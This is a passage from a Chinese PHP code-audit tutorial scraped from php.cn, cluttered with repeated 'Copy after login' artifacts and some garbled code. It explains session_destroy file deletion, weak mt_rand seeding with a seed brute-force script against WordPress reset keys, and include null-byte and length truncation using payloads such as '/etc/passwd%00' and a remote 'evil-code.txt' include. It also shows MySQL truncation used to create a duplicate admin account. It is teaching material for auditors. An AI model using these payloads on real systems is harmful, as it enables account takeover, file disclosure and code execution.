  6.                                 "/\[email\](.*?)\[\/email\]/ies"<span>)</span>,
    Copy after login
  7.                 array<span>(</span>'check_email("$1", "$2")',
    Copy after login
  8.                                 'check_email("$1", "$1")'<span>)</span>, $text<span>)</span>;
    Copy after login

另外很多的应用程序都把变量用""存放在缓存文件或者config或者data文件里,这样很容易被人注射变量函数。

漏洞审计策略
PHP版本要求:无

系统要求:无

审计策略:通读代码


PHP自身函数漏洞及缺陷

PHP函数的溢出漏洞

大家还记得Stefan Esser大牛的Month of PHP Bugs(MOPB见附录2)项目么,其中比较有名的要算是unserialize(),代码如下:

unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);

在以往的PHP版本里,很多函数都曾经出现过溢出漏洞,所以我们在审计应用程序漏洞的时候不要忘记了测试目标使用的PHP版本信息。

漏洞审计策略
PHP版本要求:对应fix的版本

系统要求:

审计策略:查找对应函数名


PHP函数的其他漏洞

Stefan Esser大牛发现的漏洞:unset()--Zend_Hash_Del_Key_Or_Index Vulnerability 比如phpwind早期的serarch.php里的代码:

  1. unset<span>(</span>$uids<span>)</span>;
    Copy after login
  2. <span>......</span>
    Copy after login
    Copy after login
  3. $query=$db->query<span>(</span>"SELECT uid FROM pw_members WHERE username LIKE '$pwuser'"<span>)</span>;
    Copy after login
  4. while<span>(</span>$member=$db->fetch_array<span>(</span>$query<span>)</span><span>)</span><span>{</span>
    Copy after login
  5.         <span>$uids</span> <span>.=</span> <span>$member</span><span>[</span><span>'uid'</span><span>]</span><span>.</span><span>','</span><span>;</span>
    Copy after login
  6. <span>}</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  7. $uids ? $uids=substr<span>(</span>$uids,0,-1<span>)</span> : $sqlwhere.=' AND 0 ';
    Copy after login
  8. <span>........</span>
    Copy after login
  9. $query = $db->query<span>(</span>"SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit"<span>)</span>;
    Copy after login
漏洞审计策略
PHP版本要求:php4系统要求:无

审计策略:查找unset


session_destroy()删除文件漏洞

测试PHP版本:5.1.2 这个漏洞是几年前朋友saiy发现的,session_destroy()函数的功能是删除session文件,很多web应用程序的logout的功能都直接调用这个函数删除session,但是这个函数在一些老的版本中缺少过滤导致可以删除任意文件。测试代码如下:

  1. <span><?php </span> </span>
    Copy after login
    Copy after login
    Copy after login
  2. <span>//val.php   </span>
    Copy after login
  3. session_save_path<span>(</span>'./'<span>)</span>;
    Copy after login
  4. session_start<span>(</span><span>)</span>;
    Copy after login
  5. if<span>(</span>$_GET['del']<span>)</span> <span>{</span>
    Copy after login
  6.         session_unset<span>(</span><span>)</span>;
    Copy after login
  7.         session_destroy<span>(</span><span>)</span>;
    Copy after login
  8. <span>}</span>else<span>{</span>
    Copy after login
  9.         <span>$_SESSION</span><span>[</span><span>'hei'</span><span>]</span><span>=</span><span>1</span><span>;</span>
    Copy after login
  10.         echo<span>(</span>session_id<span>(</span><span>)</span><span>)</span>;
    Copy after login
  11.         print_r<span>(</span>$_SESSION<span>)</span>;
    Copy after login
  12. <span>}</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  13. <span>?></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login

当我们提交构造cookie:PHPSESSID=/../1.php,相当于unlink('sess_/../1.php')这样就通过注射../转跳目录删除任意文件了。很多著名的程序某些版本都受影响如phpmyadmin,sablog,phpwind3等等。

漏洞审计策略
PHP版本要求:具体不详

系统要求:无

审计策略:查找session_destroy


随机函数

1) rand() VS mt_rand()

  1. <span><?php </span></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  2. <span>//on windows</span>
    Copy after login
  3. print mt_getrandmax<span>(</span><span>)</span>; //2147483647
    Copy after login
  4. print getrandmax<span>(</span><span>)</span>;// 32767
    Copy after login
  5. <span>?></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login

可以看出rand()最大的随机数是32767,这个很容易被我们暴力破解。

  1. <span><?php </span></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  2. $a= md5<span>(</span>rand<span>(</span><span>)</span><span>)</span>;
    Copy after login
  3. for<span>(</span>$i=0;$i32767;$i++<span>)</span><span>{</span>
    Copy after login
  4.   if<span>(</span>md5<span>(</span>$i<span>)</span> ==$a <span>)</span> <span>{</span>
    Copy after login
  5.    <span>print</span> <span>$i</span><span>.</span><span>"-->ok!!<br>"</span><span>;</span><span>exit</span><span>;</span>
    Copy after login
  6.    <span>}</span>else <span>{</span> print $i."
    "
    ;<span>}</span>
    Copy after login
  7. <span>}</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  8. <span>?></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login

当我们的程序使用rand处理session时,攻击者很容易暴力破解出你的session,但是对于mt_rand是很难单纯的暴力的。

漏洞审计策略
PHP版本要求:无

系统要求:无

审计策略:查找rand

2) mt_srand()/srand()-weak seeding(by Stefan Esser)

看php手册里的描述:

mt_srand (PHP 3 >= 3.0.6, PHP 4, PHP 5)

mt_srand -- 播下一个更好的随机数发生器种子 说明 void mt_srand ( int seed )

用 seed 来给随机数发生器播种。从 PHP 4.2.0 版开始,seed 参数变为可选项,当该项为空时,会被设为随时数。

例子 1. mt_srand() 范例

  1. <span><?php </span></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  2. <span>// seed with microseconds</span>
    Copy after login
  3. function make_seed<span>(</span><span>)</span>
    Copy after login
  4. <span>{</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  5.     list<span>(</span>$usec, $sec<span>)</span> = explode<span>(</span>' ', microtime<span>(</span><span>)</span><span>)</span>;
    Copy after login
  6.     return <span>(</span>float<span>)</span> $sec + <span>(</span><span>(</span>float<span>)</span> $usec * 100000<span>)</span>;
    Copy after login
  7. <span>}</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  8. mt_srand<span>(</span>make_seed<span>(</span><span>)</span><span>)</span>;
    Copy after login
  9. $randval = mt_rand<span>(</span><span>)</span>;
    Copy after login
  10. <span>?></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login

注: 自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已自动完成。

php从4.2.0开始实现了自动播种,但是为了兼容,后来使用类似于这样的代码播种:

mt_srand ((double) microtime() * 1000000)

但是使用(double)microtime()*1000000类似的代码seed是比较脆弱的:

0 0

那么很容易暴力破解,测试代码如下:

  1. <span><?php </span></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  2. <span>/////////////////</span>
    Copy after login
  3. <span>//>php rand.php</span>
    Copy after login
  4. <span>//828682</span>
    Copy after login
    Copy after login
  5. <span>//828682</span>
    Copy after login
    Copy after login
  6. <span>////////////////</span>
    Copy after login
  7. ini_set<span>(</span>"max_execution_time",0<span>)</span>;
    Copy after login
  8. $time=<span>(</span>double<span>)</span> microtime<span>(</span><span>)</span>* 1000000;
    Copy after login
  9. <span>print</span> <span>$time</span><span>.</span><span>"<span>\n</span>"</span><span>;</span>
    Copy after login
  10. mt_srand <span>(</span>$time<span>)</span>;
    Copy after login
  11.  
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  12. $search_id = mt_rand<span>(</span><span>)</span>;
    Copy after login
  13. $seed = search_seed<span>(</span>$search_id<span>)</span>;
    Copy after login
  14. <span>print</span> <span>$seed</span><span>;</span>
    Copy after login
  15. function search_seed<span>(</span>$rand_num<span>)</span> <span>{</span>
    Copy after login
  16. <span>$max</span> <span>=</span> <span>1000000</span><span>;</span>
    Copy after login
  17. for<span>(</span>$seed=0;$seed$max;$seed++<span>)</span><span>{</span>
    Copy after login
  18.         mt_srand<span>(</span>$seed<span>)</span>;
    Copy after login
  19.         $key = mt_rand<span>(</span><span>)</span>;
    Copy after login
  20.         if<span>(</span>$key==$rand_num<span>)</span> return $seed;
    Copy after login
  21. <span>}</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  22. <span>return</span> <span>false</span><span>;</span>
    Copy after login
  23. <span>}</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  24. <span>?></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login

从上面的代码实现了对seed的破解,另外根据Stefan Esser的分析seed还根据进程变化而变化,换句话来说同一个进程里的seed是相同的。 然后同一个seed每次mt_rand的值都是特定的。如下图:

seed-A mt_rand-A-1 mt_rand-A-2 mt_rand-A-3

seed-B mt_rand-B-1 mt_rand-B-2 mt_rand-B-3

对于seed-A里mt_rand-1/2/3都是不相等的,但是值都是特定的,也就是说当seed-A等于seed-B,那么mt_rand-A-1就等于mt_rand-B-1…,这样我们只要能够得到seed就可以得到每次mt_rand的值了。

对于5.2.6>php>4.2.0直接使用默认播种的程序也是不安全的(很多的安全人员错误的以为这样就是安全的),这个要分两种情况来分析:

第一种:'Cross Application Attacks',这个思路在Stefan Esser文章里有提到,主要是利用其他程序定义的播种(如mt_srand ((double) microtime()* 1000000)),phpbb+wordpree组合就存在这样的危险.

第二种:5.2.6>php>4.2.0默认播种的算法也不是很强悍,这是Stefan Esser的文章里的描述:

    • The Implementation
    • When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5

在32位系统上默认的播种的种子为最大值是2^32,这样我们循环最多2^32次就可以破解seed。而在PHP 4和PHP 5

  1. <span><?php </span></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  2. mt_srand<span>(</span>4<span>)</span>; 
    Copy after login
  3. $a = mt_rand<span>(</span><span>)</span>; 
    Copy after login
  4. mt_srand<span>(</span>5<span>)</span>; 
    Copy after login
  5. $b = mt_rand<span>(</span><span>)</span>;
    Copy after login
  6. <span>print</span> <span>$a</span><span>.</span><span>"<span>\n</span>"</span><span>.</span><span>$b</span><span>;</span>
    Copy after login
  7. <span>?></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login

通过上面的代码发现$a==$b,所以我们循环的次数为232/2=231次。我们看如下代码:

  1. <span><?php </span></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  2. <span>//base on http://www.milw0rm.com/exploits/6421 </span>
    Copy after login
  3. <span>//test on php 5.2.0</span>
    Copy after login
  4.  
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  5. define<span>(</span>'BUGGY', 1<span>)</span>; //上面代码$a==$b时候定义BUGGY=1
    Copy after login
  6.  
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  7. $key = wp_generate_password<span>(</span>20, false<span>)</span>;
    Copy after login
  8. <span>echo</span> <span>$key</span><span>.</span><span>"<span>\n</span>"</span><span>;</span>
    Copy after login
  9. $seed = getseed<span>(</span>$key<span>)</span>;
    Copy after login
  10. <span>print</span> <span>$seed</span><span>.</span><span>"<span>\n</span>"</span><span>;</span> 
    Copy after login
  11.  
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  12. mt_srand<span>(</span>$seed<span>)</span>;
    Copy after login
  13. $pass = wp_generate_password<span>(</span>20, false<span>)</span>;
    Copy after login
  14. <span>echo</span> <span>$pass</span><span>.</span><span>"<span>\n</span>"</span><span>;</span>        
    Copy after login
  15.  
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  16. function wp_generate_password<span>(</span>$length = 12, $special_chars = true<span>)</span> <span>{</span>
    Copy after login
  17.         <span>$chars</span> <span>=</span> <span>'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'</span><span>;</span>
    Copy after login
  18.         if <span>(</span> $special_chars <span>)</span>
    Copy after login
  19.                 <span>$chars</span> <span>.=</span> <span>'!@#$%^&*()'</span><span>;</span>
    Copy after login
  20.  
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  21.         <span>$password</span> <span>=</span> <span>''</span><span>;</span>
    Copy after login
  22.         for <span>(</span> $i = 0; $i  $length; $i++ <span>)</span>
    Copy after login
  23.                 $password .= substr<span>(</span>$chars, mt_rand<span>(</span>0, strlen<span>(</span>$chars<span>)</span> - 1<span>)</span>, 1<span>)</span>;
    Copy after login
  24.         <span>return</span> <span>$password</span><span>;</span>
    Copy after login
  25. <span>}</span> 
    Copy after login
  26.  
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  27. function getseed<span>(</span>$resetkey<span>)</span> <span>{</span>
    Copy after login
  28.         $max = pow<span>(</span>2,<span>(</span>32-BUGGY<span>)</span><span>)</span>;
    Copy after login
  29.         for<span>(</span>$x=0;$x$max;$x++<span>)</span> <span>{</span>
    Copy after login
  30.                 $seed = BUGGY ? <span>(</span>$x  1<span>)</span> + 1 : $x; 
    Copy after login
  31.                 mt_srand<span>(</span>$seed<span>)</span>;
    Copy after login
  32.                 $testkey = wp_generate_password<span>(</span>20,false<span>)</span>;
    Copy after login
  33.                 if<span>(</span>$testkey==$resetkey<span>)</span> <span>{</span> echo "o\n"; return $seed; <span>}</span>
    Copy after login
  34.  
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  35.                 if<span>(</span>!<span>(</span>$x % 10000<span>)</span><span>)</span> echo $x / 10000;
    Copy after login
  36.         <span>}</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  37.         <span>echo</span> <span>"<span>\n</span>"</span><span>;</span>
    Copy after login
  38.         <span>return</span> <span>false</span><span>;</span>
    Copy after login
  39. <span>}</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  40. <span>?></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login

运行结果如下:

  1. php5<span>></span>php <span>rand</span><span>.</span>php
    Copy after login
  2. M8pzpjwCrvVt3oobAaOr
    Copy after login
  3. <span>0123456789101112131415161718192021222324252627282930313233343536373839404142434</span>
    Copy after login
  4. <span>445464748495051525354555657585960616263646566676869</span>
    Copy after login
  5. <span>7071727374757677787980818283848586878889909192939495969798991001011021031041051</span>
    Copy after login
  6. <span>061071081091101111121131141151161171181191201211221</span>
    Copy after login
  7. <span>2312412512612712812913013113213313413513613713813914014114214314414514614714814</span>
    Copy after login
  8. <span>915015115215315415515615715815916016116216316416516</span>
    Copy after login
  9. <span>6167168169170171172173174175176177178179180181182183184185186187188189190191192</span>
    Copy after login
  10. <span>193194195196197198199200201202203204205206207208209</span>
    Copy after login
  11. <span>2102112122132142152162172182192202212222232242252262272282292302312322332342352</span>
    Copy after login
  12. <span>362372382392402412422432442452462472482492502512522</span>
    Copy after login
  13. <span>..............</span>01062110622106231062410625106261062710628106291063010631106321063
    Copy after login
  14. 3o
    Copy after login
  15. <span>70693</span>
    Copy after login
  16. pjwCrvVt3oobAaOr
    Copy after login

当10634次时候我们得到了结果。

当PHP版本到了5.2.1后,通过修改算法修补了奇数和偶数的播种相等的问题,这样也导致了php5.2.0前后导致同一个播种后的mt_rand()的值不一样。比如:

  1. <span><?php </span></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  2. mt_srand<span>(</span>42<span>)</span>;
    Copy after login
  3. echo mt_rand<span>(</span><span>)</span>;
    Copy after login
  4. <span>//php</span>
    Copy after login
  5. <span>//php>5.20 1354439493           </span>
    Copy after login
  6. <span>?></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login

正是这个原因,也要求了我们的exp的运行环境:当目标>5.20时候,我们exp运行的环境也要是>5.20的版本,反过来也是一样。

从上面的测试及分析来看,php

很多著名的程序都产生了类似的漏洞如wordpress、phpbb、punbb等等。(在后面我们将实际分析下国内著名的bbs程序Discuz!的mt_srand导致的漏洞)

漏洞审计策略
PHP版本要求:php4 php5系统要求:无

审计策略:查找mt_srand/mt_rand


特殊字符

其实“特殊字符”也没有特定的标准定义,主要是在一些code hacking发挥着特殊重作用的一类字符。下面就举几个例子:

截断

其中最有名的数大家都熟悉的null字符截断。

include截断

  1. <span><?php </span> </span>
    Copy after login
    Copy after login
    Copy after login
  2. <span>include</span> <span>$_GET</span><span>[</span><span>'action'</span><span>]</span><span>.</span><span>".php"</span><span>;</span> 
    Copy after login
  3. <span>?></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login

提交"action=/etc/passwd%00"中的"%00"将截断后面的".php",但是除了"%00"还有没有其他的字符可以实现截断使用呢?肯定有人想到了远程包含的url里问号“?”的作用,通过提交"action=http://www.hacksite.com/evil-code.txt?"这里“?”实现了“伪截断”:),好象这个看上去不是那么舒服那么我们简单写个代码fuzz一下:

  1. <span><?php </span></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  2. <span>////////////////////</span>
    Copy after login
  3. <span>////var5.php代码:</span>
    Copy after login
  4. <span>////include $_GET['action'].".php"; </span>
    Copy after login
  5. <span>////print strlen(realpath("./"))+strlen($_GET['action']);  </span>
    Copy after login
  6. <span>///////////////////</span>
    Copy after login
  7. ini_set<span>(</span>'max_execution_time', 0<span>)</span>;
    Copy after login
  8. <span>$str</span><span>=</span><span>''</span><span>;</span>
    Copy after login
  9. for<span>(</span>$i=0;$i50000;$i++<span>)</span>
    Copy after login
  10. <span>{</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  11.         <span>$str</span><span>=</span><span>$str</span><span>.</span><span>"/"</span><span>;</span>
    Copy after login
  12.  
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  13.         $resp=file_get_contents<span>(</span>'http://127.0.0.1/var/var5.php?action=1.txt'.$str<span>)</span>;
    Copy after login
  14.         <span>//1.txt里的代码为print 'hi';</span>
    Copy after login
  15.         if <span>(</span>strpos<span>(</span>$resp, 'hi'<span>)</span> !== false<span>)</span><span>{</span>
    Copy after login
  16.                 <span>print</span> <span>$i</span><span>;</span>
    Copy after login
  17.                 <span>exit</span><span>;</span>
    Copy after login
  18.         <span>}</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  19. <span>}</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  20. <span>?></span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login

经过测试字符“.”、“ /”或者2个字符的组合,在一定的长度时将被截断,win系统和*nix的系统长度不一样,当win下strlen(realpath("./"))+strlen($_GET['action'])的长度大于256时被截断,对于*nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候就可以利用上面的技巧包含本地文件了。(此漏洞由cloie#ph4nt0m.org最先发现])


数据截断

对于很多web应用文件在很多功能是不容许重复数据的,比如用户注册功能等。一般的应用程序对于提交注册的username和数据库里已有的username对比是不是已经有重复数据,然而我们可以通过“数据截断”等来饶过这些判断,数据库在处理时候产生截断导致插入重复数据。

1) Mysql SQL Column Truncation Vulnerabilities

这个漏洞又是大牛Stefan Esser发现的(Stefan Esser是我的偶像:)),这个是由于mysql的sql_mode设置为default的时候,即没有开启STRICT_ALL_TABLES选项时,MySQL对于插入超长的值只会提示warning,而不是error(如果是error就插入不成功),这样可能会导致一些截断问题。测试如下:

  1. mysql> insert into truncated_test<span>(</span>`username`,`password`<span>)</span> values<span>(</span>"admin","pass"<span>)</span>;
    Copy after login
  2.  
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  3. mysql> insert into truncated_test<span>(</span>`username`,`password`<span>)</span> values<span>(</span>"admin           x", "new_pass"<span>)</span>;
    Copy after login
  4. Query OK, 1 row affected, 1 warning <span>(</span>0.01 sec<span>)</span>
    Copy after login
  5.  
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  6. mysql<span>></span> select <span>*</span> from truncated_test<span>;</span>
    Copy after login
    Copy after login
  7. <span>+----+------------+----------+</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  8. <span>|</span> id <span>|</span> username   <span>|</span> password <span>|</span>
    Copy after login
    Copy after login
  9. <span>+----+------------+----------+</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  10. <span>|</span> <span>1</span> <span>|</span> admin      <span>|</span> pass     <span>|</span>
    Copy after login
  11. <span>|</span> <span>2</span> <span>|</span> admin      <span>|</span> new_pass <span>|</span>
    Copy after login
  12. <span>+----+------------+----------+</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  13. 2 rows in set <span>(</span>0.00 sec<span>)</span>
    Copy after login
    Copy after login

2) Mysql charset Truncation vulnerability

这个漏洞是80sec发现的,当mysql进行数据存储处理utf8等数据时对某些字符导致数据截断。测试如下:

  1. mysql> insert into truncated_test<span>(</span>`username`,`password`<span>)</span> values<span>(</span>concat<span>(</span>"admin",0xc1<span>)</span>, "new_pass2"<span>)</span>;
    Copy after login
  2. Query OK, 1 row affected, 1 warning <span>(</span>0.00 sec<span>)</span>
    Copy after login
  3.  
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  4. mysql<span>></span> select <span>*</span> from truncated_test<span>;</span>
    Copy after login
    Copy after login
  5. <span>+----+------------+----------+</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  6. <span>|</span> id <span>|</span> username   <span>|</span> password <span>|</span>
    Copy after login
    Copy after login
  7. <span>+----+------------+----------+</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  8. <span>|</span> <span>1</span> <span>|</span> admin      <span>|</span> pass      <span>|</span>
    Copy after login
  9. <span>|</span> <span>2</span> <span>|</span> admin      <span>|</span> new_pass  <span>|</span>
    Copy after login
  10. <span>|</span> <span>3</span> <span>|</span> admin      <span>|</span> new_pass2 <span>|</span>
    Copy after login
  11. <span>+----+------------+----------+</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
  12. 2 rows in set <span>(</span>0.00 sec<span>)</span>
    Copy after login
    Copy after login

很多的web应用程序没有考虑到这些问题,只是在数据存储前简单查询数据是否包含相同数据,如下代码:

  1. $result = mysql_query<span>(</span>"SELECT * from test_user where user='$user' "<span>)</span>;
    Copy after login
  2.   <span>....</span>
    Copy after login
  3. if<span>(</span>@mysql_fetch_array<span>(</span>$result, MYSQL_NUM<span>)</span><span>)</span> <span>{</span>
    Copy after login
  4.         die<span>(</span>"already exist"<span>)</span>;
    Copy after login
  5. <span>}</span>
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
    Copy after login
漏洞审计策略
PHP版本要求:无

系统要求:无

审计策略:通读代码


文件操作里的特殊字符

文件操作里有很多特殊的字符,发挥特别的作用,很多web应用程序没有注意处理这些字符而导致安全问题。比如很多人都知道的windows系统文件名对“空格”和“.”等的忽视,这个主

Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Recommendations
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template